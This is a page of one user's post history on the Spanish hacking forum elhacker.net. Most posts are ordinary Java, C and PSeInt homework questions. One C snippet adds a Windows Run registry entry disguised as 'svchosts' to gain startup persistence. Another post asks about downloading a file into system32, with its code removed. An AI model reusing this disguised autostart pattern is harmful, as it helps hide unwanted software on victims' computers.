elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Tutorial básico de Quickjs


  Mostrar Temas
Páginas: 1 [2] 3
11  Programación / Java / pilas y interface en: 23 Mayo 2014, 10:56 am
Estoy con el siguiente ejercicio:

Desarrollar una implementacion de una lista del tipo pila o LIFO (last input first output) y de una lista del tipo cola o FIFO (first input first output). Las implementaciones deben ser genericas, es decir, deben aceptar cualquier tipo de objeto.
Ademas definir un tipo generico Lista imponga el API generico de cualquier tipo de lista (añadir y extraer elementos).
La clase actividad4 tiene un metodo main en el que se crearan los dos tipos de lsita se les añadira los mismos elementos y en el mismo orden. Se comprobara el orden en el que se extraen los elementos en cada lista.

No es mi intencion que se me realice el ejercicio, solo pido consejo. He pensado en crear una interface llamada Pila, y luego dos clases que implementan esa interface, una se llamaria Lifo y la otra Fifo. Mi pregunta es la siguiente, cuando me dice que las implementaciones deben ser genericas y deben aceptar cualquier tipo de objeto a que se refiere? que debemos pasarle al metodo un parametro de tipo object?
TAmpoco entiendo a que se refiere cuando dice: Ademas definir un tipo generico Lista imponga el API generico de cualquier tipo de lista (añadir y extraer elementos).

Alguien puede arrojarme un poco de luz? no quiero el codigo, quiero entender lo que se me pide y como implementarlo pero sin que me deis el codigo. Un saludo.
12  Programación / Java / swing binario decimal en: 18 Mayo 2014, 12:37 pm
Hola, vereis he estado desarrollando un programa que convierte un numero binario en decimal y otro decimal en binario. Una vez logrado por consola he intentado mejorarlo con un gui con swing. Pero como no controlo mucho tengo un error que no se donde se produce con el tema de los actionevent imagino. Os pego codigo a ver si alguien me puede echar un cable. Un saludo.
Código:
import javax.swing.*;

import java.awt.*;
import java.awt.event.*;

public class BinDecimal extends JFrame implements ActionListener {



private static final long serialVersionUID = 1L;
private JLabel etiqueta,etiqueta2;
private JTextField texto,texto2,binario,binario2;
private JButton boton,boton2;
public ActionListener metodoBoton;





public BinDecimal(String titulo)
{
super(titulo);
texto=new JTextField(10);
texto2=new JTextField(10);
etiqueta=new JLabel("Escribe en binario para convertir a decimal");
etiqueta2=new JLabel("Escribe en decimal para convertir a binario");
binario=new JTextField("0",10);
binario2=new JTextField("0",10);
binario.setEditable(false);
binario2.setEditable(false);
boton=new JButton("Convertir");
boton2=new JButton("Convertir");
boton.setMnemonic(KeyEvent.VK_C);
boton.setToolTipText("Convertir a decimal");
boton2.setMnemonic(KeyEvent.VK_C);
boton2.setToolTipText("Convertir a binario");
JPanel panel=new JPanel();
panel.setLayout(new FlowLayout(FlowLayout.LEFT,4,4));
panel.add(etiqueta);
panel.add(texto);
panel.add(boton);
panel.add(binario);
panel.add(etiqueta2);
panel.add(texto2);
panel.add(boton2);
panel.add(binario2);


getContentPane().add(panel);
boton.addActionListener(this);
boton2.addActionListener(this);

}



public void actionPerformed(ActionEvent evento)
{
int[] array1 = new int[20];
int[] array2 = new int[20];
int i = 0;
int j = 0;
int resultado1 = 0;
int resultado2 = 0;
String cadena, cadena2;


int numero = Integer.parseInt(texto.getText());


do{
array1[i] = numero % 10;
numero /= 10;
resultado1 = array1[i]*(int)Math.pow(2.0, i)+resultado1;
i++;
} while (numero != 0);
cadena = Integer.toString(resultado1);
binario.setText(cadena);

int numero2 = Integer.parseInt(texto2.getText());

do{
array2[j] = numero2 % 2;
numero2 /= 2;
resultado2 = array2[j]*(int)Math.pow(10.0, j)+resultado2;
j++;
} while (numero2 != 0);
cadena2 = Integer.toString(resultado2);
binario2.setText(cadena2);
}



public static void main(String args[])
{
BinDecimal programa=new BinDecimal("Convertir de binario a decimal");
programa.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
programa.setSize(600,120);
programa.setLocation(400,450);
programa.setVisible(true);
}
}
13  Programación / Programación C/C++ / Registro en C en: 9 Enero 2014, 15:57 pm
Alguien sabe porque este codigo no crea una entrada en el registro corriendo un S.O. win7?

Código:
int test_key(void)
{
   int check;
   HKEY hKey;
   char path[BUFSIZE];
   DWORD buf_length=BUFSIZE;
   int reg_key;

   reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
   if(reg_key!=0)
   {
       check=1;
       return check;
   }

   reg_key=RegQueryValueEx(hKey,"svchosts",NULL,NULL,(LPBYTE)path,&buf_length);

   if((reg_key!=0)||(buf_length>BUFSIZE))
       check=2;
   if(reg_key==0)
       check=0;

   RegCloseKey(hKey);
   return check;
}

int create_key(char *path)
{
       int reg_key,check;

       HKEY hkey;

       reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
       if(reg_key==0)
       {
               RegSetValueEx((HKEY)hkey,"svchosts",0,REG_SZ,(BYTE *)path,strlen(path));
               check=0;
               return check;
       }
       if(reg_key!=0)
               check=1;

       return check;
}
14  Programación / Java / applet para .jar en: 26 Diciembre 2013, 18:08 pm
Vereis he desarrollado una aplicacion en java, tengo el .jar correspondiente. Me gustaria que se pudiese ejecutar desde alguna web de estas gratuitas usando el mozilla o cualquier otro explorador. He estado leyendo que se podria hacer con applet java en html. Me pregunto si hace falta el .class o es suficiente solo con el .jar.
Alguien me podria orientar un poco, estoy totalmente verde en diseño y hosting web.
15  Programación / Java / Duda ejercicio java en: 15 Noviembre 2013, 18:19 pm
Hola. Se me ha planteado el siguiente ejercicio en java, para trabajar con herencia y polimorfismo. En herencia voy mas o menos, pero polimorfismo estoy empezando. El enunciado es el siguiente:

 Desarrollar una aplicación de control de llamadas realizadas en una centralita telefónica.


En la centralita se van registrando llamadas. Registrar una llamada consiste en contabilizar el número de llamadas realizadas así como el coste total de todas las llamadas realizadas.


La centralita mostrará por pantalla todas las llamadas según las vaya registrando.


Existen dos tipos de llamadas:


    Las llamadas locales que cuestan 15 céntimos el segundo.


    Y las llamadas provinciales que dependiendo de la franja horaria en la que se realicen cuestan: 20 céntimos en franja 1, 25 céntimos en franja 2 y 30 céntimos en franja 3, cada segundo.

Todas las llamadas tienen como datos el número origen de la llamada, el número destino y su duración en segundos.


Desarrollar la clase Actividad4 que en su método main cree una centralita, registre varias llamadas de distinto tipo y le pida a la centralita un informe con el número total de llamadas y la facturación total realizada.

He realizado el ejercicio del siguiente modo:

Código:
public class Centralita {

private int contador;
private double acumulado1;
private double acumulado2;
private double acumuladoTotal;

public int getTotalLlamadas(){
return contador;
}

public double getTotalFacturado(){
acumuladoTotal = acumulado1 + acumulado2;
return acumuladoTotal;
}

public double registrarLlamadaLocal(LlamadaLocal param){
contador += 1;
acumulado1 += param.costeLlamadaLocal();
return acumulado1;
}

public double registrarLlamadaProvincial(LlamadaProvincial param){
contador += 1;
acumulado2 = param.costeLlamadaP1() + param.costeLlamadaP2() + param.costeLlamadaP3();
return acumulado2;
}

public void imprimirTotalFacturado(){
System.out.println("El total facturado en llamadas es: " + getTotalFacturado());
System.out.println("El total de llamadas facturadas es: " + getTotalLlamadas());
}
}

Código:
public class Llamada {

private int numQueLlama;
private int numDestino;
private int segundosLlamada = 0;

public Llamada(){
}

public Llamada(int numQueLlama, int numDestino, int segundosLlamada){
this.numQueLlama = numQueLlama;
this.numDestino = numDestino;
this.segundosLlamada = segundosLlamada;
}

public void setNumQueLlama(int numQueLlama){
this.numQueLlama = numQueLlama;
}

public void setNumDestino(int numDestino){
this.numDestino = numDestino;
}

public void setSegundosLlamada(int segundosLlamada){
this.segundosLlamada = segundosLlamada;
}

public int getNumQueLlama(){
return numQueLlama;
}

public int getNumDestino(){
return numDestino;
}

public int getSegundosLlamada(){
return segundosLlamada;
}

public void imprimirNumOrigen(){
System.out.println("El numero que llama es: " + getNumQueLlama());
}

public void imprimirNumDestino(){
System.out.println("El numero al que se llama es: " + getNumDestino());
}

public void imprimirDuracionSegundos(){
System.out.println("La duracion en segundos de la llamada ha sido: " + getSegundosLlamada());
}

}

Código:
public class LlamadaLocal extends Llamada{

private double costeLocal = 0.15;

public LlamadaLocal(){
}

public LlamadaLocal(int numQueLlama, int numDestino, int segundosLlamada){
super(numQueLlama, numDestino, segundosLlamada);
}

public double costeLlamadaLocal(){
return (costeLocal * super.getSegundosLlamada());
}

public void imprimirCosteLlamadaLx(){
System.out.println("El coste total de la llamda local es: " + costeLlamadaLocal());
}

}

Código:
public class LlamadaProvincial extends Llamada{

private double costeProvincial1 = 0.20;
private double costeProvincial2 = 0.25;
private double costeProvincial3 = 0.30;
private int franja = 0;

public LlamadaProvincial(int numQueLlama, int numDestino, int segundosLlamada, int franja){
super(numQueLlama, numDestino, segundosLlamada);
this.franja = franja;
}
public double costeLlamadaP1(){
return(costeProvincial1 * super.getSegundosLlamada());
}

public double costeLlamadaP2(){
return(costeProvincial2 * super.getSegundosLlamada());
}

public double costeLlamadaP3(){
return(costeProvincial3 * super.getSegundosLlamada());
}

public void imprimirCosteLlamadaPx(){
switch (franja){
case 1: System.out.println("El coste total de la llamada provincial franja 1 es: " + costeLlamadaP1());
break;
case 2: System.out.println("El coste total de la llamada provincial franja 2 es: " + costeLlamadaP2());
break;
case 3: System.out.println("El coste total de la llamada provincial franja 3 es: " + costeLlamadaP3());
break;
default: System.out.println("No se introdujeron llamadas provinciales");
break;
}
}
}

Código:
public class Actividad4 {

public static void main(String[] args) {

Centralita c = new Centralita();
LlamadaLocal l1 = new LlamadaLocal (976776917, 976481651, 43);
LlamadaLocal l2 = new LlamadaLocal (976501641, 976125464, 93);
LlamadaProvincial p1 = new LlamadaProvincial (688124321, 976838781, 32, 1);
LlamadaProvincial p2 = new LlamadaProvincial (622233434, 976830865, 54, 3);




c.registrarLlamadaLocal(l1);
c.registrarLlamadaLocal(l2);
c.registrarLlamadaProvincial(p1);
c.registrarLlamadaProvincial(p2);
l1.imprimirNumOrigen();
l1.imprimirNumDestino();
l1.imprimirDuracionSegundos();
l1.imprimirCosteLlamadaLx();
l2.imprimirNumOrigen();
l2.imprimirNumDestino();
l2.imprimirDuracionSegundos();
l2.imprimirCosteLlamadaLx();
p1.imprimirNumOrigen();
p1.imprimirNumDestino();
p1.imprimirDuracionSegundos();
p1.imprimirCosteLlamadaPx();
p2.imprimirNumOrigen();
p2.imprimirNumDestino();
p2.imprimirDuracionSegundos();
p2.imprimirCosteLlamadaPx();
c.imprimirTotalFacturado();


}

}

El programa funciona pero me gustaria saber como mejorarlo usando una clase abstracta (Llamada) y llamandola desde la clase Centralita. Un saludo.
16  Programación / Programación C/C++ / problema en c en: 18 Diciembre 2012, 00:13 am
Vereis estoy intentando hacer este ejercicio:
dado un arreglo de 10 valores metidos en source, nos haga un diagrama de barras que represente esos numeros. Barras en vertical.

Hasta ahora lo unico que he conseguido es que las barras aparezcan horizontalmente pero no se como hacerlo de arriba a abajo. Os pego el codigo que llevo:

Código:
#include <stdio.h>


int main(void) {
int valor[10]={7,3,5,10,8,4,1,6,7,5};
int i,j,asteriscos;
printf("Los valores que se van a representar como barras de asteriscos son:\n");
printf("7,3,5,10,8,4,1,6,7,5\n");

for (i=0;i<10;i++){ //abrimos un for que recorre todos los elementos del array.
asteriscos=valor[i]; //le damos a asteriscos el valor numerico de cada elemento del array.

printf("\n");
for (j=0;j<asteriscos;j++) //abrimos otro for para que convierta el numero del array en asteriscos.
printf("*");//se imprime un asterisco por cada valor de j, desde 0 hasta el valor del array.
}
printf("\n");
printf("\n");
printf("Presione una tecla para continuar...");
getchar();
return 0;
}
17  Programación / Programación General / cuadrante pseint en: 26 Noviembre 2012, 02:11 am
Hola, vereis estoy intentando de hacer conseguir un pseudocodigo con pseint para hacer un cuadrante de trabajo. Se supone que el cuadrante esta formado por una rueda de 7 semanas, en la que hay que trabajar algunos de mañana otros de tarde otros de noche y otros se descansa. Me gustaria que al introducirle una fecha del futuro nos diga si ese dia es lunes, martes... domingo, y ademas nos diga de que turno nos toca trabajar o si descansamos. Hasta el momento creo que lo tengo bastante bien desarrollado, pero me da un error. Si le introduzco una fecha del año 2016 me da un dia mas de lo que deberia. En el resto de años todo funciona correctamente. No entiendo porque me falla solo en ese año. Alguna idea?

Código:
Proceso sin_titulo
Dimension d[49];
definir d como Caracter;
Definir i,A,M,dia,da,avi,mi como Entero;
Definir resultado como Real;
d[0]="TARDE Martes";
d[1]="TARDE Miercoles";
d[2]="TARDE Jueves";
d[3]="TARDE Viernes";
d[4]="TARDE Sabado";
d[5]="TARDE Domingo";
d[6]="DESCANSO Lunes";
d[7]="DESCANSO Martes";
d[8]="MAÑANA Miercoles";
d[9]="MAÑANA Jueves";
d[10]="MAÑANA Viernes";
d[11]="DESCANSO Sabado";
d[12]="DESCANSO Domingo";
d[13]="MAÑANA Lunes";
d[14]="MAÑANA Martes";
d[15]="MAÑANA Miercoles";
d[16]="MAÑANA Jueves";
d[17]="NOCHE Viernes";
d[18]="NOCHE Sabado";
d[19]="NOCHE Domingo";
d[20]="LIBRANZA Lunes";
d[21]="LIBRANZA Martes";
d[22]="LIBRANZA Miercoles";
d[23]="LIBRANZA Jueves";
d[24]="LIBRANZA Viernes";
d[25]="LIBRANZA Sabado";
d[26]="LIBRANZA Domingo";
d[27]="NOCHE Lunes";
d[28]="NOCHE Martes";
d[29]="NOCHE Miercoles";
d[30]="NOCHE Jueves";
d[31]="DESCANSO Viernes";
d[32]="DESCANSO Sabado";
d[33]="DESCANSO Domingo";
d[34]="MAÑANA Lunes";
d[35]="MAÑANA Martes";
d[36]="MAÑANA Miercoles";
d[37]="MAÑANA Jueves";
d[38]="DESCANSO Viernes";
d[39]="MAÑANA TELEFONO Sabado";
d[40]="MAÑANA TELEFONO Domingo";
d[41]="MAÑANA TELEFONO Lunes";
d[42]="MAÑANA TELEFONO Martes";
d[43]="MAÑANA TELEFONO Miercoles";
d[44]="MAÑANA TELEFONO Jueves";
d[45]="MAÑANA TELEFONO Viernes";
d[46]="DESCANSO Sabado";
d[47]="DESCANSO Domingo";
d[48]="TARDE Lunes";

Escribir "Indica la fecha quieres saber?";
Escribir "Año";
leer A;
Escribir "Mes";
leer M;
Escribir "Dia";
leer dia;
Si A%4=0 Entonces
da<-(A-2013)*365+1;
Sino
da<-(A-2013)*365;
FinSi

para mi<- 1 hasta m-1 Hacer
si mi = 2 Entonces

    si (a%4) = 0  entonces

    da <- da + 29;

        
    sino
    da <- da + 28;
finsi
    sino
    si mi = 4 | mi = 6 | mi = 9 | mi = 11 entonces
    da <- da + 30;
    sino
    da <- da + 31;
    finsi
    FinSi
    FinPara
    da<-da+(dia-1);
resultado<-da%49;
Escribir resultado;


Escribir d[resultado];
FinProceso
18  Programación / Programación C/C++ / error grave en programa en: 9 Noviembre 2010, 22:48 pm
Vereis he hecho un programa que hace lo que se le pide, pero llegado un momento se cierra bruscamente y sale una pantalla de windows diciendo error grave el programa va a cerrarse. Os pego el codigo a ver si alguien sabe a que puede ser debido:

Código:
editado codigo no funcional
19  Programación / Programación C/C++ / ftp en c++ en: 2 Noviembre 2010, 13:20 pm
Vereis estoy intentando acceder a mi ftp con un programa en c++ y bajarme un archivo a la carpeta system32. El problema es que no se si algo falla en la ruta o que pero no me lo descarga. Me da que tiene que ver algo con %SYSTEMROOT% Os pego el codigo de lo que llevo:

Código:
post absurdo no lo intente en su casa
20  Programación / Programación Visual Basic / VB6 ? en: 21 Octubre 2010, 18:50 pm
Veran quisiera programar en visual basic. No se si la mejor version para hacerlo es la 6. Podria alguien decirme que version descargarme y a ser posible de donde? Dudo entre 2010, o la 6. Dudo entre version completa y version express. Una recomendacion por favor. Saludos
Páginas: 1 [2] 3
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines